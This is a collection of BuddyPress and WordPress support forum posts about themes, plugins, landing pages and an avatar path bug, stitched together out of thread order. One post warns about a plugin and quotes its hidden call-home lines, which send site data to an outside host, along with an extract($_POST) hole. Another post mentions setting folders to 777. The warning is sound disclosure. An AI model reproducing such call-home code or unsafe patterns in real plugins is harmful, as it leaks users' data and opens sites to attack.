Travel junkie,
I’m using a regular WordPress install( not MU) can your posting still work for me?
@etiviti – cheers for plugging the plugin 
Any news on getting the buttons enabled with my plugin.
Also my plugin uses standard bbcode (the _CK_ buttons use [*] for list items, whilst mine use [li] ) – reason being is that [*] is not picked up by the wordpress API
If you need any help I’m sure I could get _CK_s buttons in for you.
Cheers
bOing
Yes, you need to install BuddyPress first.
https://codex.buddypress.org/getting-started/setting-up-a-new-installation/
Then you can try enabling your current theme and using the BP Template Pack plugin.
Ok thank you! Do I have also to install the main Buddypress plugin?
Try the BP Template Pack plugin – https://wordpress.org/extend/plugins/bp-template-pack/ – to use BP with your existing WP theme.
BP will not delete your posts or pages.
Hello,
I was wondering about something. I’ve recently created my website with a WordPress Theme. I have already written some post. Then I’ve seen this amazing the Buddypress Plugin and I would like to add it to my website.
But I dread this plugin could delete all my post and my pages. Am I right or can I add Buddypress on my site without deleting everything?
Also I would like my Buddypress to have the same font and color of my theme. Is it possible? How can I do that?
Sorry my very bad English, I don’t now if I was enough clear (I ‘m french^^)
Thank you
1) Avatars – users can upload their own avatar. Please check out testbp.org for a demo of BP.
2) Use the BP Template Pack plugin – https://wordpress.org/extend/plugins/bp-template-pack/
Be sure to go through all the steps in the plugin.
3) Go to testbp.org and try the group forums yourself. If you want a traditional forum script, use bbPress, vBulletin, phpBB, etc. BP is not a forum script – it’s social networking in a box!
I’m trying to wrangle The Holy Scripturizer into auto-linking Bible references in my BuddyPress activity stream, using the add_filter() function to add the custom filter to the bp content functions. I have no idea what I’m doing wrong. Help!
You can see my code here.
This is an out-of-the-box copy of The Holy Scripturizer, which you can find here.
I have simply added lines 1040 through 1045. The code doesn’t throw any errors, but it also doesn’t work as intended. You can see it in action here.
What am I doing wrong?
Hi BP people,
i want to warn you against wp-contacts-directories plugin. This plug is recently updated and works with WP and WPMU/BP…. If you already use it, uninstall it.
If you know what you do, take care of it because this plugin contains many security holes (for ex. extract($_POST);…) and a spy code line 556 to 562 who contains something like this:
$res = file_get_contents("http://ahlul.web.id/tools/plugcheck/?n=$n&h=$h&m=$e");
in another if statement, line 577, we find :
$output = file_get_contents("http://ahlul.web.id/tools/plugads/wpcontact.php");
This is illegal as far as i know…
Anyway this is a perfect example of what not to do in matter of security, php and open source coding.
Of course i also post this on the WP forum.
http://wordpress.org/support/topic/379688
Hey Greg,
You’re looking for this plugin by JJJ:
https://wordpress.org/extend/plugins/bp-member-filter/
Try it out; be sure to read the documentation.
BP-Links: https://wordpress.org/extend/plugins/buddypress-links/
Can do what you want. Once you create a link, it gets added into the activity stream.
do what this user link feed does…
http://wordpress.org/extend/plugins/user-link-feed/
but directly into the activity stream?
Rashell
@DJPaul — great plugin. I just posted this little enhancement idea to the WordPress forums:
https://wordpress.org/support/topic/379728?replies=1
Hi,
I’m creating a website using WP & BP, and I would like to know how to use BP functions on this external website (although stocked on the same server).
To use WP’s functions, I only had to write this line “include ‘../wordpress-mu/wp-blog-header.php’;”, but it doesn’t seem to be that easy with BP.
I’d just want to create a group, add an user inside it, and view the users in this group, this shouldn’t be too much asked.
Thanks a lot for your help !
Nicolas
I am running into the same problem. Does anyone have a possible solution or a plug-in that will fix this? My other wordpress sites on the same host work fine, so I am leaning toward a buddypress issue. Thanks in advance
Can you please explain how to do this?
I’d like to have a custom landing homepage (preferably just a wordpress “page”) with general information for non-logged-in users… then if the user is logged-in the homepage defaults to the activity stream (and becomes the “Home” menu link). i.e. when logged-in the custom landing page is unaccessible.
There are many people who would gladly donate time and money to help Erwin with this. Not sure if you saw this, but Andy is about to make this much easier:
Andy Peatling (6 days ago): I’m working on a new version of this site that will automatically create a group for every new BuddyPress plugin that appears in the repo. This means plugins will get all the functionality of BP groups – a forum, activity stream, a list of members who are interested in the plugin, etc etc. I’m also going to add a donate page, which should help out a bit.
This has been held up a little right now because I’m trying to get the new upgrade/install wizard done first. This will allow BP to use WordPress pages instead of hacking with root components. It’s all bits of the jigsaw that need to be put in place before I can continue. Hopefully by the end of the month I should have at least the first iteration of the site close to completion.
https://buddypress.org/forums/topic/supporting-devs-wishlist#post-43329
Ultimately, this is Erwin’s baby, so he’s free to develop this at his own pace and according to his own specifications.
ok, so the shortcode way. try this one: https://wordpress.org/extend/plugins/boingball-bbcode/ (has the rules on the plugin page too)
yes, correct assessment, but there is a potential solution, if i am right. first about BP: the default theme used to be “widget” ready or friendly, meaning that you can decide what goes in there from the Widget Admin area. This latest version brings essentially major changes in the codes that organize user behavior, but not so easy on the theme side. In fact, there aren’t any themes, may be 2 or 3, that are BP1.2.2.1 compliant and easy to just deploy. However, the Buddypress creators and developers say that you have to create what they call a child theme and then make whatever changes you want from there, probably including making the first “Activity” page as your landing page. Now, one very smart developer released this base theme, http://freebpthemes.com/onsite/sense-sensibility/ If you have bandwidth, time and some technical capabilities, I would recommend having a look.
Now WordPress(MU) may allow u to pick your activity page as the landing page. In your WP Admin section, scroll down to the Settings area (left column). You see “Reading”. In it, it will let you choose “Front Page Display.” You may try to select “Static Page” and open the drop down menu for Front Page and select the Activity Stream page. Then save. By doing, I suspect, since I did not try it, the Activity Stream page (Facebook-like section) will be what your visitors will see when they hit your website.
One think you may want to consider. The Activity Page puts any acvity across your site on that page. If you have a lot of people, that could be overwhelming. There is, however, one plugin u should find on this site called: BuddyPress Friends Only Activity Stream. It essentially should show only activity from the memeber’s friends. Again, I did not try it, but I plan so.
Good luck
Arezki
I found the answer posted by Dennis:
After looking for a solution after a few days I found out, that the upload path handling of WordPress (see “Settings” >> “Miscellaneous”) causes this issue. My fix:
Clear “Store uploads in this folder”-path
Set “Full URL path to files” to absolute server path , e.g. “/home/_several_/_folder_/_levels_/wp-content/uploads”
Ed
As much data as I can find:
wordpress 2.9.2
Buddypress 1.2
Hosted on qth.com
All wp folders set to 777
new fresh install as of today
Installed in domain root,
Also tried installing wordpress in root/wp/
same problem
Buddypress default theme
The thing I find puzzling is, I did an identical on my local box using Xamp and it works perfect.
My Problem: change avatar; Picture uploads and I can go to the folder and see it. But, after it uploads it does not show up. I inspected the elements with firebug (avatar to crop) and see that there is a / missing in the path to the picture.
inserting code snippet if it works.
(<img alt=”Avatar to crop” class=”avatar” id=”avatar-to-crop” src=”wp-content/uploads/avatars/2/Ed_icon2.jpg”>)
See, there is no / between src=” and wp-contents/uploads
I don’t know where that line of code comes from but it must be buddypress because it does it regardless of which theme I use.
I can use firebug to insert the / to test and the image appears
If you want to look at the site it is bare bones http://carvingsforyou.com
Hope someone can help. Thanks Ed
A number of people have asked me what my alternate solution is… it’s just a WordPress events plugin. There are lots of them. There’s no BuddyPress integration. It’s not ideal… but it will do for now. Specifically, I chose this plugin: https://wordpress.org/extend/plugins/calendar/
That’s totally up to you!
Check out:
https://wordpress.org/extend/themes
Keep in mind that the main BuddyPress blog needs the BP default theme or a BP-compatible theme.
User blogs can use any theme.
